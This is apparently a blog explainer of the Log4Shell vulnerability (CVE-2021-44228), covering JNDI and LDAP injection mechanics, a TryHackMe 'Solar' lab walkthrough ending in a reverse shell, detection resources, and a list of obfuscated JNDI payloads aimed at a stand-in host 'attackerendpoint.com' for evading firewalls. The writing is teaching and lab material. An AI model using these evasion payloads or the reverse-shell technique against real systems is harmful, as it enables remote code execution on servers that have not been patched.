Log4Shell
Detailed explanation of the Log4j exploit
This blog is written to explain the very recent log4j exploit found in the java applications. In this first we will go in some details on how it works and in the end there is an example of an actual exploitation on a Tryhackme room.
Log4j Exploit Summary
On December 9th, 2021, the world was made aware of a new vulnerability identified as CVE-2021-44228, affecting the Java logging package log4j. This vulnerability earned a severity score of 10.0 (the most critical designation) and offers remote code trivial remote code execution on hosts engaging with software that utilizes this log4j version. This attack has been dubbed "Log4Shell"
Below are some of the references regarding CVE-2021-44228
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
JNDI
JNDI is know as Java Naming and Directory Interface. It is a Java Interface to interact with Naming and Directory Services that offers a single common interface to interact with disparate Naming and Directory services such as Remote Method Invocation (RMI),Lightweight Directory Access Protocol (LDAP), Active Directory,Domain Name System (DNS),Common Object Request Broker Architecture(CORBA), etc. Here are summary of Naming and Directory Services
Naming Service - A Naming Service is an entity that associates names with values, also known as “bindings.” It provides a facility to find an object based on a name using “lookup” or “search” operation.
Directory Service - This is a special type of Naming Service that allows storing and searching for “directory objects.” A directory object differs from a generic object in that it is possible to associate attributes to the object. A Directory Service therefore offers extended functionality to operate on the object attributes
JDNI Code Snippet
In the sample above we used an RMI Context Factory to provide the Initial Context, allowing us to perform naming operations on a RMI Registry. As we saw previously, JNDI offers a common interface for different naming/directory services, so we could also use it with other protocols such as LDAP or CORBA. That is explained in detail in the BlackHat Whitepaper listed in the references
JNDI Naming References
JNDI defined Naming References so that objects could be stored in the Naming or Directory service indirectly by binding a reference that could be decoded by the Naming Manager and resolved to the original object.
JNDI Architecture
The JNDI architecture consists of an API and a Service Provider Interface (SPI). Java applications use the JNDI API to access a variety of naming and directory services. The SPI enables a variety of naming and directory services to be plugged in transparently, thereby allowing the Java application using the JNDI API to access their services
Within JNDI stack, not all components are treated equally.The JVM behaves differently when it comes to verifying where it is loading remote classes from. There are two different levels that load classes from remote codebases: The Naming Manager level and the Service Provider Interface (SPI) level as mentioned above
At the SPI level, the JVM will allow loading classes from remote codebases and enforce a Security Manager to be installed depending on the specific provider. Refer the table below
However, at the Naming Manager layer security controls are relaxed. When decoding JNDI Naming References are always allowed to load classes from remote code bases with no JVM option to disable it, and it will not enforce any Security Manager to be installed. This allows an attacker to take advantage of specific scenarios to execute their own code remotely.
CVE-2015-4902
Before the log4j 0 day happned an incident in 2015 took place in the wild know as "Click-to-play-bypass". It was used by active malware to bypass the applet click-to-play protection. This technique was found in the wild as part of the Pawn Storm exploit kit and used Java Network Launching Protocol (JNLP) and JavaNaming and Directory Interface (JNDI) toload an attacker-controlled remote Java class, achieving remote code execution during itsinstantiation.Below are the CVE details
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4902
https://nvd.nist.gov/vuln/detail/CVE-2015-4902
JNDI Injection
The lesson learned from the "Click-to-Play" bypass technique is that if an attacker can control the argument to a JNDI lookup operation,they will be able to execute arbitrary remote code on the server performing the lookup. The attacker will be able to do so by pointing the lookup to a Naming or Directory service under his control and returning a JNDI reference that uses a remote factory(malicious server) for object instantiation.
Syntax below for JNDI lookups for various protocols
rmi://attacker-server/bar
ldap://attacker-server/cn=bar,dc=test,dc=org
iiop://attacker-server/bar
LDAP Vector
The JNDI can also be use to interact with LDAP directories. The Lightweight Directory Access Protocol (LDAP) is a directory service protocol that runs on a layer above the TCP/IP stack. It provides a mechanism used to connect to, search, and modify Internet directories. The LDAP directory service is based on a client-server model. The function of LDAP is to enable access to an existing directory. LDAP can be used to store Java objects by using several special Java attributes. There are at least two ways a Java object can berepresentedin an LDAP directory. First is Java Serialization and second is JNDI references the decoding of these Java objects during runtime execution by the Naming Manager will result in remote code execution
LDAP Example Attack
Attacker provides an absolute LDAP URL to a vulnerable JNDI lookup method.
Server connects toan attacker controlled LDAP Server that returns a malicious JNDI Reference.
Server decodes the JNDI Reference.
Server fetches the Factory class from attacker-controlled server.
Server instantiates the Factory class.
Payload gets executed.
LDAP Attack Scenarios
In order to perform the LDAP attack vectors and controlling it's request and response is a high end task. It can be exploited for initial foothold in various ways
Rogue employee: An employee that has write permissions on the LDAP directory may inject arbitrary Java attributes. The employee could grant himself access to the application by poisoning the user entry with malicious Java attributes, since he has access to the LDAP server itself. He could attack the underlying server infrastructure and get a shell, install backdoors, attack other services not integrated with LDAP, and more
Vulnerable LDAP server: There are plenty of CVEs published on LDAP servers that allow remote code execution on them.An attacker who is able to compromise an LDAP server will be able to pivot into any machine performing return-object searches on the LDAP server.
Vulnerable applications: If a vulnerability is found on an application that browses and manages the LDAP Server (andtherefore haswrite permissions to the LDAP Directory), the attacker could usethevulnerability to poison LDAP entries in the Directory. Examples may include Human Resources applications, or any application with write permissions.
Man-In-The-Middle attacks: Although most LDAP servers nowadays use TLS for encrypting their communications, attackers sitting on the network may still be able to attack and modify those unencrypted ones or use compromised certificates to modify the responses on the fly.
Single-Sign-On (SSO) and Identity Providers: Some cloud services may allow users to connect their own LDAP servers to their Identity Providers. An attackermightbe able to attack the cloud provider by connecting its own controlled LDAP server.
LDAP Attacks
After understanding the LDAP injection and entry poisoning. It can be narrowed down to two attacks
LDAP Entry Manipulation
LDAP Response Manipulation
LDAP Entry Manipulation
Attacker poisons an LDAP entry and injects malicious Java Schema attributes.
Attacker interacts with application to force a LDAP search (eg: authentication).
Application performs the LDAP search and fetches the poisoned entry.
Applicationattemptsto decode the entry attributes as a Java Object.
Application fetches Factory class fromanattacker-controlled server.
Server instantiates the Factory class and runs the Payload.
LDAP Response Manipulation
Attacker interacts with application to force a LDAP search (eg: authentication) or simply waits for an LDAP request to be sent from a target application.
Application performs the LDAP search and fetches an entry.
Attacker intercepts and modifies LDAP response and injects malicious Java Schema attributes in the response.
Application attempts to decode the entry attributes as a Java Object.
Application fetches Factory class from an attacker-controlled server.
Server instantiates the Factory class and runs the Payload.
Tryhackme Solar
Now we're going to see an example of Log4j by exploiting a room called Solar
Enumeration
Starting of with Nmap Scan
Found three ports opened with a service running on high port 8983. Scanning the port 8983
The port 8983 is running Apache Solr. Visiting the webpage
Webpage running Solar version 8.11
Scrolling below we can see the presence of Log4j in the application. Download the log files from the task. Then unzip it
Viewing the contents of solr.log file
The log file showed and interesting endpoint /admin/cores. Navigate to the endpoint url http://10.10.34.127:8983/solr/admin/cores
Exploitation
For this attack to work you will need Java version - 1.8. Installation steps can be done by reading the module
Now to simulate a LDAP referral server, first clone the repo
Follow the installation guide for dependencies. Now after the installation start the LDAP referral server.
In the above syntax the jar file will start a LDAP server on port 1389 and it points towards the attacker control server(local ip) on port 8000 to get the object name Exploit Creating a java code to call a netcat connection on port 9999.
In the following java code the exec function will instantiate a netcat connection to the attacker server(local ip) on port 9999. Compile the code.
After complilation we need to start a python server that will act as a attacker server so that the application will call it via the LDAP server request and execute the malicious java code.
Now using the curl command utility making a request to the vulnerable endpoint to tell the server to make request to the attacker LDAP server that in turn will make the application to import the malicious Export object from the attacker server(python server) that will trigger the reverse shell. Before that start a netcat listener on port 9999.
Check the netcat listener.
Successfully got a shell
Detection
Finding application or services vulnerable to CVE-2021-44228 is hard. Also the detection phase is harder because of potential bypasses. Below are the github repository for snippets that could be used for dectection
https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes (local, based off hashes of log4j JAR files)
https://gist.github.com/olliencc/8be866ae94b6bee107e3755fd1e9bf0d (local, based off hashes of log4j CLASS files)
https://github.com/nccgroup/Cyber-Defence/tree/master/Intelligence/CVE-2021-44228 (listing of vulnerable JAR and CLASS hashes)
https://github.com/omrsafetyo/PowerShellSnippets/blob/master/Invoke-Log4ShellScan.ps1 (local, hunting for vulnerable log4j packages in PowerShell)
https://github.com/darkarnium/CVE-2021-44228 (local, YARA rules)
Bypasses
The JNDI payload that we have showcased is the standard and "typical" syntax for performing this attack.If you are a penetration tester or a red teamer, this syntax might be caught by web application firewalls (WAFs) or easily detected. If you are a blue teamer or incident responder, you should be actively hunting for and detecting that syntax.Because this attack leverages log4j, the payload can ultimately access all of the same expansion, substitution, and templating tricks that the package makes available. This means that a threat actor could use any sort of tricks to hide, mask, or obfuscate the payload.There are numerous resources online that showcase some examples of these bypasses, with a few offered below:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${::-j}ndi:rmi://attackerendpoint.com/}
Conclusion
The log4shell has ended the year 2021 with a nightmare. Although the foreshadowing of this vulnerability had happened back in 2016 in a blackhat conference but for some reason the whole security community was unaware, it is a critical vulnerability that has affected millions of devices that runs Java. As of this writing, many organizations are still vulnerable and are in constant threats of getting exploited by log4shell. We will see many vulnerabilities regarding the log4j from years to come.
Thank You for reading
References
Last updated